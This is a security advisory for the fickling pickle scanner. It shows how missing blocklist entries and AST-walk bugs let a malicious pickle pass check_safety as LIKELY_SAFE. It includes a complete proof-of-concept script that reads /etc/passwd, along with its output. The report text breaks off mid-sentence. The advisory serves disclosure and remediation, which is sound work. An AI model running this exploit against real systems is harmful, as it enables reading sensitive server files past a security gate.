GHSA-r48f-3986-4f9c

GHSA-r48f-3986-4f9c · fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist

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# Our analysis As stated in the [project's security policy](https://github.com/trailofbits/fickling/security/policy), we also don't consider `UnusedVariables` bypasses to be security issues. We added several unsafe modules mentioned by the reporter in advisory comments to the blocklist (https://github.com/trailofbits/fickling/commit/7f39d97258217ee2c21a1f5031d4a6d7343eb30d). # Original report Title: UnusedVariables analysis bypass via BUILD opcode Arbitrary File Read through fickling.load() ### Summary Two independent bugs in fickling's AST-based static analysis combine to allow a malicious pickle file to execute arbitrary stdlib function calls - including reading sensitive files - while check_safety() returns Severity.LIKELY_SAFE and fickling.load() completes without raising UnsafeFileError. A server using fickling.load() as a security gate before deserializing untrusted pickle data (its documented use case) is fully bypassed. The attacker receives the contents of any file readable by the server process as the return value of fickling.load(). ### Details Interpreter.unused_assignments() does not scan the result assignment's RHS File: fickling/fickle.py, Interpreter.unused_assignments(), ~line 1242 ```python for statement in self.module_body: if isinstance(statement, ast.Assign): if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): break ... statement = statement.value if statement is not None: for node in ast.walk(statement): if isinstance(node, ast.Name): used.add(node.id) ``` When the loop reaches result = _varN, it breaks immediately. The right-hand side of the result assignment is never walked for variable references. Any variable whose only reference is inside the result expression is therefore never added to the used set and is incorrectly flagged as unused - unless it also appears in an earlier non-assignment statement. The BUILD opcode generates exactly such a non-assignment statement: ```python # Build.run() generates: _var4 = _var3 # Assign - _var3 added to used _var4.__setstate__(_var2) # Expr - _var2 and _var4 added to used ``` This makes _var2 (the result of the dangerous call) appear in the used set via the __setstate__ expression, so UnusedVariables never flags it. File: fickling/fickle.py, TupleThree.run(), and siblings ```python def run(self, interpreter: Interpreter): top = interpreter.stack.pop() mid = interpreter.stack.pop() bot = interpreter.stack.pop() interpreter.stack.append(ast.Tuple((bot, mid, top), ast.Load())) # ^^^^^^^^^^^^^^^^ # Python tuple, not list ``` Python's ast module requires repeated fields (such as Tuple.elts) to be lists. When elts is a Python tuple, ast.iter_child_nodes() does not yield its elements, so ast.walk() never descends into them. Any variable reference stored inside such a tuple node is invisible to every analysis that uses ast.walk() - including UnusedVariables. Demo: ```python import ast name = ast.Name(id='_var1', ctx=ast.Load()) # Correct (list elts) - ast.walk finds it t = ast.Tuple(elts=[name], ctx=ast.Load()) print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)]) # ['_var1'] # Buggy (tuple elts) - ast.walk finds nothing t = ast.Tuple(elts=(name,), ctx=ast.Load()) print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)]) # [] ``` #### Combined attack - arbitrary file read The two bugs combine with the absence of `linecache` and `difflib` from `UNSAFE_IMPORTS`: ``` from linecache import getlines # not in UNSAFE_IMPORTS _var0 = getlines('/etc/passwd') # reads the file from builtins import enumerate _var1 = enumerate(_var0) # _var0 in RHS - added to used from builtins import dict _var2 = dict(_var1) # _var1 in RHS - added to used; produces {0:'line1',...} from difflib import Differ _var3 = Differ() # stdlib, not in UNSAFE_IMPORTS _var4 = _var3 _var4.__setstate__(_var2) # BUILD Expr - _var2 and _var4 added to used result = _var3 # loop breaks here; nothing in defined−used ``` check_safety() returns Severity.LIKELY_SAFE. fickling.load() calls pickle.loads(). At runtime, Differ().__dict__.update({0: 'root:x:0:0\n', ...}) succeeds and the file contents are returned to the caller. ### PoC `pip install fickling` ```python #!/usr/bin/env python3 import io import sys import fickling.fickle as op from fickling.fickle import Pickled from fickling.analysis import check_safety, Severity from fickling.loader import load from fickling.exception import UnsafeFileError TARGET = "/etc/passwd" pickled = Pickled([ op.Proto.create(4), op.ShortBinUnicode("linecache"), op.ShortBinUnicode("getlines"), op.StackGlobal(), op.ShortBinUnicode(TARGET), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[0] = _var0 = getlines(TARGET) op.Global("builtins enumerate"), op.BinGet(0), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[1] = _var1 = enumerate(_var0) op.Global("builtins dict"), op.BinGet(1), op.TupleOne(), op.Reduce(), op.Memoize(), # memo[2] = _var2 = dict(_var1) op.ShortBinUnicode("difflib"), op.ShortBinUnicode("Differ"), op.StackGlobal(), op.EmptyTuple(), op.Reduce(), op.Memoize(), # memo[3] = _var3 = Differ() op.BinGet(2), # push _var2 as BUILD state op.Build(), # _var4=_var3; _var4.__setstate__(_var2) op.BinGet(3), op.Stop(), ]) result = check_safety(pickled) assert result.severity == Severity.LIKELY_SAFE, f"Expected LIKELY_SAFE, got {result.severity}" print(f"[+] check_safety verdict : {result.severity.name} (bypass confirmed)") buf = io.BytesIO() pickled.dump(buf) obj = load(io.BytesIO(buf.getvalue())) lines = {k: v for k, v in obj.__dict__.items() if isinstance(k, int)} print(f"[+] fickling.load() returned : {type(obj).__name__}") print(f"[+] {TARGET} - {len(lines)} lines exfiltrated:\n") for i in sorted(lines): print(f"{lines[i]}", end="") ``` ### Result ``` [+] check_safety verdict : LIKELY_SAFE (bypass confirmed) [+] fickling.load() returned : Differ [+] /etc/passwd - 58 lines exfiltrated: root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin ``` ### Impact Vulnerability type: Static analysis bypass leading to arbitrary file read (and arbitrary stdlib code execution) through a security-gated deserialization API. Who is impacted: Any application or service that calls fickling.load() or fickling.loads() to validate untrusted pickle data before deserializing it. This

CVSS 6.9 · Mittel · Korrektur verfügbar

Veröffentlicht

2026-03-13T20:57:40Z

Aktualisiert

2026-03-13T21:09:40.043972Z

Technologie-Stack: python

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